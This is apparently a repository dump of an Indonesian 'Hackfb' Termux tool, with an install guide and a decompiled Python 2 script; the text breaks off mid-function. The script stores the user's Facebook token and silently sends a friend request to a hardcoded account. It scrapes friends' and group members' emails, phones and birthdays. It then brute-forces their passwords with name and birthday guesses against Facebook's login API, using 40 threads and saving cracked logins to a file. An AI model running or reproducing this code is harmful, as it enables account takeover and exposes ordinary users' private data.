├── carainstalasi.txt └── hackfb.py /carainstalasi.txt: -------------------------------------------------------------------------------- 1 | # Hackfb 2 | 3 | $ pkg update && pkg upgrade 4 | $ pkg install curl git python2 5 | $ pkg install git 6 | $ pkg install python2 7 | $ pip2 install mechanize 8 | $ pip2 install requests 9 | $ git clone https://github.com/MasUzie/Hackfb.git 10 | $ ls 11 | $ cd Hackfb 12 | $ python2 hackfb.py 13 | 14 | Untuk lebih jelasnya silahkan kunjungi https://www.artikelcara10.com/script-hack-fb-termux/ 15 | -------------------------------------------------------------------------------- /hackfb.py: -------------------------------------------------------------------------------- 1 | #decompiled by PDM31 2 | import os, sys 3 | print '\x1b[1;32mMasukan ID: artikelcara10 dan Password: ac10hacks untuk Login dan jangan lupa login facebook di OperaMini dulu sebelum login agar tidak CekPoint' 4 | print '\x1b[1;32mSilahkan Login ' 5 | import os, sys 6 | 7 | def wa(): 8 | os.system('xdg-open https://api.whatsapp.com/send?phone=+6281291977644&text=Assalamualaikum') 9 | 10 | 11 | def restart(): 12 | ngulang = sys.executable 13 | os.execl(ngulang, ngulang, *sys.argv) 14 | 15 | 16 | user = raw_input('ID: ') 17 | import getpass 18 | sandi = raw_input('Password: ') 19 | if sandi == 'ac10hacks' and user == 'artikelcara10': 20 | print 'Anda Telah Login' 21 | sys.exit 22 | else: 23 | print 'Login GAGAL, Silahkan hubungi ADMIN' 24 | wa() 25 | restart() 26 | import os, sys, time, datetime, random, hashlib, re, threading, json, getpass, urllib 27 | from multiprocessing.pool import ThreadPool 28 | try: 29 | import mechanize 30 | except ImportError: 31 | os.system('pip2 install mechanize') 32 | else: 33 | try: 34 | import requests 35 | except ImportError: 36 | os.system('pip2 install requests') 37 | 38 | from requests.exceptions import ConnectionError 39 | from mechanize import Browser 40 | reload(sys) 41 | sys.setdefaultencoding('utf8') 42 | br = mechanize.Browser() 43 | br.set_handle_robots(False) 44 | br.set_handle_refresh(mechanize._http.HTTPRefreshProcessor(), max_time=1) 45 | br.addheaders = [('User-Agent', 'Opera/9.80 (Android; Opera Mini/32.0.2254/85. U; id) Presto/2.12.423 Version/12.16')] 46 | 47 | def keluar(): 48 | print '\x1b[1;91m[!] Keluar' 49 | os.sys.exit() 50 | 51 | 52 | def jalan(z): 53 | for e in z + '\n': 54 | sys.stdout.write(e) 55 | sys.stdout.flush() 56 | time.sleep(0.1) 57 | 58 | 59 | logo = '\x1b[1;92m\n\xe2\x95\x94\xe2\x95\xa6\xe2\x95\x97\xe2\x94\x8c\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x80\xe2\x94\x90\xe2\x94\xac\xe2\x94\x8c\xe2\x94\x80 \xe2\x95\x94\xe2\x95\x90\xe2\x95\x97\xe2\x95\x94\xe2\x95\x97 \n \xe2\x95\x91\xe2\x95\x91\xe2\x94\x9c\xe2\x94\x80\xe2\x94\xa4\xe2\x94\x9c\xe2\x94\xac\xe2\x94\x98\xe2\x94\x9c\xe2\x94\xb4\xe2\x94\x90\xe2\x94\x80\xe2\x94\x80\xe2\x94\x80\xe2\x95\xa0\xe2\x95\xa3 \xe2\x95\xa0\xe2\x95\xa9\xe2\x95\x97\n\xe2\x95\x90\xe2\x95\xa9\xe2\x95\x9d\xe2\x94\xb4 \xe2\x94\xb4\xe2\x94\xb4\xe2\x94\x94\xe2\x94\x80\xe2\x94\xb4 \xe2\x94\xb4 \xe2\x95\x9a \xe2\x95\x9a\xe2\x95\x90\xe2\x95\x9d \x1b[1;93mv1.7\n\x1b[1;93m* \x1b[1;97mAuthor \x1b[1;91m: \x1b[1;96mMas Uzie\x1b[1;97m\n\x1b[1;93m* \x1b[1;97mSupport \x1b[1;91m: \x1b[1;96mKunjungi\x1b[1;97m \x1b[1;96mwebsite \x1b[1;96mKami\n\x1b[1;93m* \x1b[1;97mwebsite \x1b[1;91m: \x1b[1;92m\x1b[4mhttps://www.artikelcara10.com/\x1b[0m\n' 60 | 61 | def tik(): 62 | titik = [ 63 | '. ', '.. ', '... '] 64 | for o in titik: 65 | print '\r\x1b[1;91m[\xe2\x97\x8f] \x1b[1;92mSedang Masuk \x1b[1;97m' + o, 66 | sys.stdout.flush() 67 | time.sleep(1) 68 | 69 | 70 | back = 0 71 | threads = [] 72 | berhasil = [] 73 | cekpoint = [] 74 | gagal = [] 75 | idteman = [] 76 | idfromteman = [] 77 | idmem = [] 78 | id = [] 79 | em = [] 80 | emfromteman = [] 81 | hp = [] 82 | hpfromteman = [] 83 | reaksi = [] 84 | reaksigrup = [] 85 | komen = [] 86 | komengrup = [] 87 | listgrup = [] 88 | vulnot = '\x1b[31mNot Vuln' 89 | vuln = '\x1b[32mVuln' 90 | 91 | def login(): 92 | os.system('reset') 93 | try: 94 | toket = open('login.txt', 'r') 95 | menu() 96 | except (KeyError, IOError): 97 | os.system('reset') 98 | print logo 99 | print 40 * '\x1b[1;97m\xe2\x95\x90' 100 | print '\x1b[1;91m[\xe2\x98\x86] \x1b[1;92mLOGIN AKUN FACEBOOK \x1b[1;91m[\xe2\x98\x86]' 101 | id = raw_input('\x1b[1;91m[+] \x1b[1;36mUsername \x1b[1;91m:\x1b[1;92m ') 102 | pwd = getpass.getpass('\x1b[1;91m[+] \x1b[1;36mPassword \x1b[1;91m:\x1b[1;92m ') 103 | tik() 104 | try: 105 | br.open('https://m.facebook.com') 106 | except mechanize.URLError: 107 | print '\n\x1b[1;91m[!] Tidak ada koneksi' 108 | keluar() 109 | 110 | br._factory.is_html = True 111 | br.select_form(nr=0) 112 | br.form['email'] = id 113 | br.form['pass'] = pwd 114 | br.submit() 115 | url = br.geturl() 116 | if 'save-device' in url: 117 | try: 118 | sig = 'api_key=882a8490361da98702bf97a021ddc14dcredentials_type=passwordemail=' + id + 'format=JSONgenerate_machine_id=1generate_session_cookies=1locale=en_USmethod=auth.loginpassword=' + pwd + 'return_ssl_resources=0v=1.062f8ce9f74b12f84c123cc23437a4a32' 119 | data = {'api_key': '882a8490361da98702bf97a021ddc14d', 'credentials_type': 'password', 'email': id, 'format': 'JSON', 'generate_machine_id': '1', 'generate_session_cookies': '1', 'locale': 'en_US', 'method': 'auth.login', 'password': pwd, 'return_ssl_resources': '0', 'v': '1.0'} 120 | x = hashlib.new('md5') 121 | x.update(sig) 122 | a = x.hexdigest() 123 | data.update({'sig': a}) 124 | url = 'https://api.facebook.com/restserver.php' 125 | r = requests.get(url, params=data) 126 | z = json.loads(r.text) 127 | zedd = open('login.txt', 'w') 128 | zedd.write(z['access_token']) 129 | zedd.close() 130 | print '\n\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mLogin berhasil' 131 | requests.post('https://graph.facebook.com/me/friends?method=post&uids=gwimusa3&access_token=' + z['access_token']) 132 | os.system('xdg-open https://www.artikelcara10.com/script-hack-fb-termux/') 133 | time.sleep(2) 134 | menu() 135 | except requests.exceptions.ConnectionError: 136 | print '\n\x1b[1;91m[!] Tidak ada koneksi' 137 | keluar() 138 | 139 | if 'checkpoint' in url: 140 | print '\n\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 141 | os.system('rm -rf login.txt') 142 | time.sleep(1) 143 | keluar() 144 | else: 145 | print '\n\x1b[1;91m[!] Login Gagal' 146 | os.system('rm -rf login.txt') 147 | time.sleep(1) 148 | login() 149 | 150 | 151 | def menu(): 152 | os.system('reset') 153 | try: 154 | toket = open('login.txt', 'r').read() 155 | except IOError: 156 | os.system('reset') 157 | print '\x1b[1;91m[!] Token tidak ditemukan' 158 | os.system('rm -rf login.txt') 159 | time.sleep(1) 160 | login() 161 | else: 162 | try: 163 | otw = requests.get('https://graph.facebook.com/me?access_token=' + toket) 164 | a = json.loads(otw.text) 165 | nama = a['name'] 166 | id = a['id'] 167 | except KeyError: 168 | os.system('reset') 169 | print '\x1b[1;91m[!] \x1b[1;93mSepertinya akun kena Checkpoint' 170 | os.system('rm -rf login.txt') 171 | time.sleep(1) 172 | login() 173 | except requests.exceptions.ConnectionError: 174 | print '\x1b[1;91m[!] Tidak ada koneksi' 175 | keluar() 176 | 177 | os.system('reset') 178 | print logo 179 | print '\x1b[1;97m\xe2\x95\x94' + 40 * '\xe2\x95\x90' 180 | print '\xe2\x95\x91\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m]\x1b[1;97m Nama \x1b[1;91m: \x1b[1;92m' + nama 181 | print '\x1b[1;97m\xe2\x95\x9a' + 40 * '\xe2\x95\x90' 182 | print '\x1b[1;37;40m1. Informasi Pengguna' 183 | print '\x1b[1;37;40m2. Hack Akun Facebook' 184 | print '\x1b[1;37;40m3. Bot ' 185 | print '\x1b[1;37;40m4. Lainnya.... ' 186 | print '\x1b[1;37;40m5. LogOut ' 187 | print '\x1b[1;31;40m0. Keluar ' 188 | print 189 | pilih() 190 | 191 | 192 | def pilih(): 193 | zedd = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 194 | if zedd == '': 195 | print '\x1b[1;91m[!] Jangan kosong' 196 | pilih() 197 | else: 198 | if zedd == '1': 199 | informasi() 200 | else: 201 | if zedd == '2': 202 | menu_hack() 203 | else: 204 | if zedd == '3': 205 | menu_bot() 206 | else: 207 | if zedd == '4': 208 | lain() 209 | else: 210 | if zedd == '5': 211 | os.system('rm -rf login.txt') 212 | os.system('xdg-open http://uzie.xyz/hack-facebook') 213 | keluar() 214 | else: 215 | if zedd == '0': 216 | keluar() 217 | else: 218 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + zedd + ' \x1b[1;91mTidak ada' 219 | pilih() 220 | 221 | 222 | def informasi(): 223 | os.system('reset') 224 | try: 225 | toket = open('login.txt', 'r').read() 226 | except IOError: 227 | print '\x1b[1;91m[!] Token tidak ditemukan' 228 | os.system('rm -rf login.txt') 229 | time.sleep(1) 230 | login() 231 | 232 | os.system('reset') 233 | print logo 234 | print 40 * '\x1b[1;97m\xe2\x95\x90' 235 | id = raw_input('\x1b[1;91m[+] \x1b[1;92mMasukan ID\x1b[1;97m/\x1b[1;92mNama\x1b[1;91m : \x1b[1;97m') 236 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 237 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 238 | cok = json.loads(r.text) 239 | for p in cok['data']: 240 | if id in p['name'] or id in p['id']: 241 | r = requests.get('https://graph.facebook.com/' + p['id'] + '?access_token=' + toket) 242 | z = json.loads(r.text) 243 | print 40 * '\x1b[1;97m\xe2\x95\x90' 244 | try: 245 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + z['name'] 246 | except KeyError: 247 | print '\x1b[1;91m[?] \x1b[1;92mNama\x1b[1;97m : \x1b[1;91mTidak ada' 248 | else: 249 | try: 250 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mID\x1b[1;97m : ' + z['id'] 251 | except KeyError: 252 | print '\x1b[1;91m[?] \x1b[1;92mID\x1b[1;97m : \x1b[1;91mTidak ada' 253 | else: 254 | try: 255 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mEmail\x1b[1;97m : ' + z['email'] 256 | except KeyError: 257 | print '\x1b[1;91m[?] \x1b[1;92mEmail\x1b[1;97m : \x1b[1;91mTidak ada' 258 | else: 259 | try: 260 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNomor HP\x1b[1;97m : ' + z['mobile_phone'] 261 | except KeyError: 262 | print '\x1b[1;91m[?] \x1b[1;92mNomor HP\x1b[1;97m : \x1b[1;91mTidak ada' 263 | else: 264 | try: 265 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mLokasi\x1b[1;97m : ' + z['location']['name'] 266 | except KeyError: 267 | print '\x1b[1;91m[?] \x1b[1;92mLokasi\x1b[1;97m : \x1b[1;91mTidak ada' 268 | else: 269 | try: 270 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mTanggal Lahir\x1b[1;97m : ' + z['birthday'] 271 | except KeyError: 272 | print '\x1b[1;91m[?] \x1b[1;92mTanggal Lahir\x1b[1;97m : \x1b[1;91mTidak ada' 273 | 274 | try: 275 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mSekolah\x1b[1;97m : ' 276 | for q in z['education']: 277 | try: 278 | print '\x1b[1;91m ~ \x1b[1;97m' + q['school']['name'] 279 | except KeyError: 280 | print '\x1b[1;91m ~ \x1b[1;91mTidak ada' 281 | 282 | except KeyError: 283 | pass 284 | 285 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 286 | menu() 287 | else: 288 | print '\x1b[1;91m[\xe2\x9c\x96] Pengguna tidak ditemukan' 289 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 290 | menu() 291 | 292 | 293 | def menu_hack(): 294 | os.system('reset') 295 | try: 296 | toket = open('login.txt', 'r').read() 297 | except IOError: 298 | print '\x1b[1;91m[!] Token tidak ditemukan' 299 | os.system('rm -rf login.txt') 300 | time.sleep(1) 301 | login() 302 | 303 | os.system('reset') 304 | print logo 305 | print 40 * '\x1b[1;97m\xe2\x95\x90' 306 | print '\x1b[1;37;40m1. Mini Hack Facebook(\x1b[1;92mTarget\x1b[1;97m)' 307 | print '\x1b[1;37;40m2. Multi Bruteforce Facebook' 308 | print '\x1b[1;37;40m3. Super Multi Bruteforce Facebook' 309 | print '\x1b[1;37;40m4. BruteForce(\x1b[1;92mTarget\x1b[1;97m)' 310 | print '\x1b[1;37;40m5. Yahoo Checker' 311 | print '\x1b[1;37;40m6. Ambil id/email/hp' 312 | print '\x1b[1;31;40m0. Kembali' 313 | print 314 | hack_pilih() 315 | 316 | 317 | def hack_pilih(): 318 | hack = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 319 | if hack == '': 320 | print '\x1b[1;91m[!] Jangan kosong' 321 | hack_pilih() 322 | else: 323 | if hack == '1': 324 | mini() 325 | else: 326 | if hack == '2': 327 | crack() 328 | hasil() 329 | else: 330 | if hack == '3': 331 | super() 332 | else: 333 | if hack == '4': 334 | brute() 335 | else: 336 | if hack == '5': 337 | menu_yahoo() 338 | else: 339 | if hack == '6': 340 | grab() 341 | else: 342 | if hack == '0': 343 | menu() 344 | else: 345 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + hack + ' \x1b[1;91mTidak ada' 346 | hack_pilih() 347 | 348 | 349 | def mini(): 350 | os.system('reset') 351 | try: 352 | toket = open('login.txt', 'r').read() 353 | except IOError: 354 | print '\x1b[1;91m[!] Token tidak ditemukan' 355 | os.system('rm -rf login.txt') 356 | time.sleep(1) 357 | login() 358 | else: 359 | os.system('reset') 360 | print logo 361 | print 40 * '\x1b[1;97m\xe2\x95\x90' 362 | print '\x1b[1;91m[ INFO ] Akun target harus berteman dengan akun anda dulu !' 363 | try: 364 | id = raw_input('\x1b[1;91m[+] \x1b[1;92mID Target \x1b[1;91m:\x1b[1;97m ') 365 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 366 | r = requests.get('https://graph.facebook.com/' + id + '?access_token=' + toket) 367 | a = json.loads(r.text) 368 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 369 | jalan('\x1b[1;91m[+] \x1b[1;92mMemeriksa \x1b[1;97m...') 370 | time.sleep(2) 371 | jalan('\x1b[1;91m[+] \x1b[1;92mMembuka keamanan \x1b[1;97m...') 372 | time.sleep(2) 373 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mMohon Tunggu sebentar \x1b[1;97m...') 374 | print 40 * '\x1b[1;97m\xe2\x95\x90' 375 | pz1 = a['first_name'] + '123' 376 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 377 | y = json.load(data) 378 | if 'access_token' in y: 379 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 380 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 381 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 382 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 383 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 384 | menu_hack() 385 | else: 386 | if 'www.facebook.com' in y['error_msg']: 387 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 388 | print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 389 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 390 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 391 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz1 392 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 393 | menu_hack() 394 | else: 395 | pz2 = a['first_name'] + '12345' 396 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz2 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 397 | y = json.load(data) 398 | if 'access_token' in y: 399 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 400 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 401 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 402 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 403 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 404 | menu_hack() 405 | else: 406 | if 'www.facebook.com' in y['error_msg']: 407 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 408 | print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 409 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 410 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 411 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz2 412 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 413 | menu_hack() 414 | else: 415 | pz3 = a['last_name'] + '123' 416 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz3 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 417 | y = json.load(data) 418 | if 'access_token' in y: 419 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 420 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 421 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 422 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 423 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 424 | menu_hack() 425 | else: 426 | if 'www.facebook.com' in y['error_msg']: 427 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 428 | print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 429 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 430 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 431 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz3 432 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 433 | menu_hack() 434 | else: 435 | lahir = a['birthday'] 436 | pz4 = lahir.replace('/', '') 437 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + id + '&locale=en_US&password=' + pz4 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 438 | y = json.load(data) 439 | if 'access_token' in y: 440 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 441 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 442 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 443 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 444 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 445 | menu_hack() 446 | else: 447 | if 'www.facebook.com' in y['error_msg']: 448 | print '\x1b[1;91m[+] \x1b[1;92mDitemukan.' 449 | print '\x1b[1;91m[!] \x1b[1;93mAkun kena Checkpoint' 450 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama\x1b[1;97m : ' + a['name'] 451 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mUsername\x1b[1;97m : ' + id 452 | print '\x1b[1;91m[\xe2\x9e\xb9] \x1b[1;92mPassword\x1b[1;97m : ' + pz4 453 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 454 | menu_hack() 455 | else: 456 | print '\x1b[1;91m[!] Maaf, gagal membuka password target :(' 457 | print '\x1b[1;91m[!] Cobalah dengan cara lain.' 458 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 459 | menu_hack() 460 | except KeyError: 461 | print '\x1b[1;91m[!] Terget tidak ditemukan' 462 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 463 | menu_hack() 464 | 465 | 466 | def crack(): 467 | global file 468 | global idlist 469 | global passw 470 | os.system('reset') 471 | try: 472 | toket = open('login.txt', 'r').read() 473 | except IOError: 474 | print '\x1b[1;91m[!] Token tidak ditemukan' 475 | os.system('rm -rf login.txt') 476 | time.sleep(1) 477 | login() 478 | else: 479 | os.system('reset') 480 | print logo 481 | print 40 * '\x1b[1;97m\xe2\x95\x90' 482 | idlist = raw_input('\x1b[1;91m[+] \x1b[1;92mFile ID \x1b[1;91m: \x1b[1;97m') 483 | passw = raw_input('\x1b[1;91m[+] \x1b[1;92mPassword \x1b[1;91m: \x1b[1;97m') 484 | try: 485 | file = open(idlist, 'r') 486 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 487 | for x in range(40): 488 | zedd = threading.Thread(target=scrak, args=()) 489 | zedd.start() 490 | threads.append(zedd) 491 | 492 | for zedd in threads: 493 | zedd.join() 494 | 495 | except IOError: 496 | print '\x1b[1;91m[!] File tidak ditemukan' 497 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 498 | menu_hack() 499 | 500 | 501 | def scrak(): 502 | global back 503 | global berhasil 504 | global cekpoint 505 | global gagal 506 | global up 507 | try: 508 | buka = open(idlist, 'r') 509 | up = buka.read().split() 510 | while file: 511 | username = file.readline().strip() 512 | url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + passw + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' 513 | data = urllib.urlopen(url) 514 | mpsh = json.load(data) 515 | if back == len(up): 516 | break 517 | if 'access_token' in mpsh: 518 | bisa = open('Berhasil.txt', 'w') 519 | bisa.write(username + ' | ' + passw + '\n') 520 | bisa.close() 521 | berhasil.append('\x1b[1;97m[\x1b[1;92mOK\xe2\x9c\x93\x1b[1;97m] ' + username + ' | ' + passw) 522 | back += 1 523 | else: 524 | if 'www.facebook.com' in mpsh['error_msg']: 525 | cek = open('Cekpoint.txt', 'w') 526 | cek.write(username + ' | ' + passw + '\n') 527 | cek.close() 528 | cekpoint.append('\x1b[1;97m[\x1b[1;93mCP\xe2\x9c\x9a\x1b[1;97m] ' + username + ' | ' + passw) 529 | back += 1 530 | else: 531 | gagal.append(username) 532 | back += 1 533 | sys.stdout.write('\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;91m:\x1b[1;97m ' + str(back) + ' \x1b[1;96m>\x1b[1;97m ' + str(len(up)) + ' =>\x1b[1;92mLive\x1b[1;91m:\x1b[1;96m' + str(len(berhasil)) + ' \x1b[1;97m=>\x1b[1;93mCheck\x1b[1;91m:\x1b[1;96m' + str(len(cekpoint))) 534 | sys.stdout.flush() 535 | 536 | except IOError: 537 | print '\n\x1b[1;91m[!] Koneksi terganggu' 538 | time.sleep(1) 539 | except requests.exceptions.ConnectionError: 540 | print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' 541 | 542 | 543 | def hasil(): 544 | print 545 | print 40 * '\x1b[1;97m\xe2\x95\x90' 546 | for b in berhasil: 547 | print b 548 | 549 | for c in cekpoint: 550 | print c 551 | 552 | print 553 | print '\x1b[31m[x] Gagal \x1b[1;97m--> ' + str(len(gagal)) 554 | keluar() 555 | 556 | 557 | def super(): 558 | global toket 559 | os.system('reset') 560 | try: 561 | toket = open('login.txt', 'r').read() 562 | except IOError: 563 | print '\x1b[1;91m[!] Token tidak ditemukan' 564 | os.system('rm -rf login.txt') 565 | time.sleep(1) 566 | login() 567 | 568 | os.system('reset') 569 | print logo 570 | print 40 * '\x1b[1;97m\xe2\x95\x90' 571 | print '\x1b[1;37;40m1. Crack dari daftar Teman' 572 | print '\x1b[1;37;40m2. Crack dari member Grup' 573 | print '\x1b[1;31;40m0. Kembali' 574 | print 575 | pilih_super() 576 | 577 | 578 | def pilih_super(): 579 | peak = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') 580 | if peak == '': 581 | print '\x1b[1;91m[!] Jangan kosong' 582 | pilih_super() 583 | else: 584 | if peak == '1': 585 | os.system('reset') 586 | print logo 587 | print 40 * '\x1b[1;97m\xe2\x95\x90' 588 | jalan('\x1b[1;91m[+] \x1b[1;92mMengambil id teman \x1b[1;97m...') 589 | r = requests.get('https://graph.facebook.com/me/friends?access_token=' + toket) 590 | z = json.loads(r.text) 591 | for s in z['data']: 592 | id.append(s['id']) 593 | 594 | else: 595 | if peak == '2': 596 | os.system('reset') 597 | print logo 598 | print 40 * '\x1b[1;97m\xe2\x95\x90' 599 | idg = raw_input('\x1b[1;91m[+] \x1b[1;92mID Grup \x1b[1;91m:\x1b[1;97m ') 600 | try: 601 | r = requests.get('https://graph.facebook.com/group/?id=' + idg + '&access_token=' + toket) 602 | asw = json.loads(r.text) 603 | print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama grup \x1b[1;91m:\x1b[1;97m ' + asw['name'] 604 | except KeyError: 605 | print '\x1b[1;91m[!] Grup tidak ditemukan' 606 | raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') 607 | super() 608 | 609 | re = requests.get('https://graph.facebook.com/' + idg + '/members?fields=name,id&limit=999999999&access_token=' + toket) 610 | s = json.loads(re.text) 611 | for i in s['data']: 612 | id.append(i['id']) 613 | 614 | else: 615 | if peak == '0': 616 | menu_hack() 617 | else: 618 | print '\x1b[1;91m[\xe2\x9c\x96] \x1b[1;97m' + peak + ' \x1b[1;91mTidak ada' 619 | pilih_super() 620 | print '\x1b[1;91m[+] \x1b[1;92mJumlah ID \x1b[1;91m: \x1b[1;97m' + str(len(id)) 621 | jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') 622 | titik = ['. ', '.. ', '... '] 623 | for o in titik: 624 | print '\r\r\x1b[1;91m[\x1b[1;96m\xe2\x9c\xb8\x1b[1;91m] \x1b[1;92mCrack \x1b[1;97m' + o, 625 | sys.stdout.flush() 626 | time.sleep(1) 627 | 628 | print 629 | print 40 * '\x1b[1;97m\xe2\x95\x90' 630 | 631 | def main(arg): 632 | user = arg 633 | try: 634 | a = requests.get('https://graph.facebook.com/' + user + '/?access_token=' + toket) 635 | b = json.loads(a.text) 636 | pass1 = b['first_name'] + '123' 637 | data = urllib.urlopen('https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + user + '&locale=en_US&password=' + pass1 + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6') 638 | q = json.load(data) 639 | if 'access_token' in q: 640 | print 